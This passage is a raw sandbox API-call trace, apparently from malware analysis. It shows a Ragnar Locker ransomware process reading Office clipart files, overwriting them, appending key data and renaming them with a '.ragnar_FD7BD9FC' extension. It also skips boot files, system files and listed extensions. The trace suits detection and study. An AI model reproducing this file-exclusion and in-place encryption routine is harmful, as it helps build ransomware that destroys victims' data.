lpString2="bootmgr.efi") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="desktop.ini") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="iconcache.db") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="ntldr") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="ntuser.dat") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="ntuser.ini") returned 1 [0090.548] lstrcmpiW (lpString1="SL00260_.WMF", lpString2="thumbs.db") returned -1 [0090.548] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.548] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.548] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.548] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.548] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.548] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.548] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf")) returned 0x20 [0090.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.549] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31908) returned 1 [0090.549] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.549] GetProcessHeap () returned 0x580000 [0090.549] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.549] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.551] VirtualAlloc (lpAddress=0x0, dwSize=0x7ca4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.551] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ca4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ca4, lpOverlapped=0x0) returned 1 [0090.552] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.553] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ca4, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.553] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ca4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ca4, lpOverlapped=0x0) returned 1 [0090.553] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ca4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.553] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.553] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.553] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.553] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.553] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.553] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.553] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.554] GetProcessHeap () returned 0x580000 [0090.554] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.554] CloseHandle (hObject=0xf4) returned 1 [0090.554] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" [0090.554] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.ragnar_FD7BD9FC" [0090.554] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.554] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e6bb00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e6bb00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00268_.WMF", cAlternateFileName="")) returned 1 [0090.555] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.555] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL00268_.WMF" | out: lpString1="SL00268_.WMF") returned="SL00268_.WMF" [0090.555] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF") returned=".WMF" [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="autorun.inf") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="boot.ini") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="bootfont.bin") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="bootsect.bak") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="bootmgr") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="bootmgr.efi") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="desktop.ini") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="iconcache.db") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="ntldr") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="ntuser.dat") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="ntuser.ini") returned 1 [0090.555] lstrcmpiW (lpString1="SL00268_.WMF", lpString2="thumbs.db") returned -1 [0090.555] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.555] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.555] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.555] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.555] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.555] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.555] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf")) returned 0x20 [0090.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.556] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3932) returned 1 [0090.556] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.556] GetProcessHeap () returned 0x580000 [0090.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.556] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.557] VirtualAlloc (lpAddress=0x0, dwSize=0xf5c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.557] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.557] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.557] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf5c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf5c, lpOverlapped=0x0) returned 1 [0090.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.558] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf5c, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.558] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf5c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf5c, lpOverlapped=0x0) returned 1 [0090.558] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf5c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.558] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.558] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.558] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.558] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.559] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.559] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.559] GetProcessHeap () returned 0x580000 [0090.559] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.559] CloseHandle (hObject=0xf4) returned 1 [0090.559] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" [0090.559] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.ragnar_FD7BD9FC" [0090.559] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.560] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c59500, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7c59500, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00286_.WMF", cAlternateFileName="")) returned 1 [0090.560] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.560] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL00286_.WMF" | out: lpString1="SL00286_.WMF") returned="SL00286_.WMF" [0090.560] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF") returned=".WMF" [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="autorun.inf") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="boot.ini") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="bootfont.bin") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="bootsect.bak") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="bootmgr") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="bootmgr.efi") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="desktop.ini") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="iconcache.db") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="ntldr") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="ntuser.dat") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="ntuser.ini") returned 1 [0090.560] lstrcmpiW (lpString1="SL00286_.WMF", lpString2="thumbs.db") returned -1 [0090.560] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.560] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.560] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.560] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.560] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.560] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.560] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf")) returned 0x20 [0090.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.562] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7596) returned 1 [0090.562] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1da3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.562] GetProcessHeap () returned 0x580000 [0090.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.562] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.563] VirtualAlloc (lpAddress=0x0, dwSize=0x1dac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.563] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.563] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.563] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1dac, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1dac, lpOverlapped=0x0) returned 1 [0090.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.564] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1dac, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.564] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1dac, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1dac, lpOverlapped=0x0) returned 1 [0090.564] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1dac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.565] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.565] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1dac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.565] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.565] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.565] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.565] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.565] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.565] GetProcessHeap () returned 0x580000 [0090.565] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.565] CloseHandle (hObject=0xf4) returned 1 [0090.565] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" [0090.565] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.ragnar_FD7BD9FC" [0090.565] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.566] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ab6f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38ab6f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1268, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00298_.WMF", cAlternateFileName="")) returned 1 [0090.566] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.566] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL00298_.WMF" | out: lpString1="SL00298_.WMF") returned="SL00298_.WMF" [0090.566] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF") returned=".WMF" [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="autorun.inf") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="boot.ini") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="bootfont.bin") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="bootsect.bak") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="bootmgr") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="bootmgr.efi") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="desktop.ini") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="iconcache.db") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="ntldr") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="ntuser.dat") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.566] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="ntuser.ini") returned 1 [0090.567] lstrcmpiW (lpString1="SL00298_.WMF", lpString2="thumbs.db") returned -1 [0090.567] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.567] 